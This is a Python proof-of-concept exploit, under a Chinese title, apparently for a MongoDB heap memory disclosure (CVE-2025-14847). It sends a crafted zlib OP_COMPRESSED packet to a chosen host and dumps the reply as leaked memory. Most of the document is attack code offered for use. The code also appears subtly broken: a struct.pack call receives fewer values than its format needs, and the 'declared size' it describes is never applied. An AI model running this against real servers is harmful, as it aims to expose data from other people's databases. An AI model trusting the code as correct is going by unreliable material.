CVE-2025-14847: MongoDB Zlib压缩协议头长度字段不匹配导致堆内存信息泄露

#!/usr/bin/env python3 """ CVE-2025-14847 PoC - MongoDB Heap Memory Disclosure via OP_COMPRESSED This PoC demonstrates the memory disclosure vulnerability in MongoDB's Zlib compressed protocol handling. Use only for authorized security testing. Reference: https://jira.mongodb.org/browse/SERVER-115508 """ import socket import struct import zlib def create_op_compressed_packet(declared_size, compressed_data): """ Create a MongoDB OP_COMPRESSED packet with mismatched length fields. OP_COMPRESSED format: - int32: messageLength (total message length including header) - int32: requestID (client-generated request identifier) - int32: responseTo (should be 0 for requests) - int32: opCode (2012 for OP_COMPRESSED) - int32: originalOpcode (the opcode of the original message) - int32: uncompressedSize (original uncompressed message size) - int8: compressorn (1 = snappy, 2 = zlib, 3 = zstd) - bytes: compressedData (the compressed data) """ opcode = 2012 # OP_COMPRESSED original_opcode = 2004 # OP_MSG compressor = 2 # zlib # Build the message body body = struct.pack('<iiii', original_opcode, len(compressed_data), compressor) + compressed_data # Calculate total message length (header is 16 bytes) message_length = 16 + len(body) # Build the packet with potentially mismatched declared size header = struct.pack('<iiii', message_length, 1, 0, opcode) return header + body def exploit_mongodb(target_host, target_port, target_version): """ Attempt to exploit CVE-2025-14847 to read uninitialized heap memory. """ print(f"[*] Targeting {target_host}:{target_port}") print(f"[*] MongoDB version: {target_version}") try: # Create a simple MongoDB wire protocol message original_msg = b'\x00\x00\x00\x00' # msg header original_msg += b'\x00' * 100 # padding to trigger heap allocation # Compress the message with zlib compressed = zlib.compress(original_msg) # Create exploit packet with mismatched size # The declared size will be different from actual compressed size packet = create_op_compressed_packet(len(compressed), compressed) print(f"[*] Sending crafted OP_COMPRESSED packet...") print(f"[*] Original size: {len(original_msg)}, Compressed size: {len(compressed)}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Send the exploit packet sock.send(packet) # Receive response (may contain leaked heap memory) response = sock.recv(4096) if response: print(f"[+] Received response ({len(response)} bytes)") print(f"[*] Response hex dump:") print(response[:256].hex()) sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 4: print("Usage: python3 cve_2025_14847_poc.py <host> <port> <version>") print("Example: python3 cve_2025_14847_poc.py 127.0.0.1 27017 7.0.15") sys.exit(1) exploit_mongodb(sys.argv[1], int(sys.argv[2]), sys.argv[3])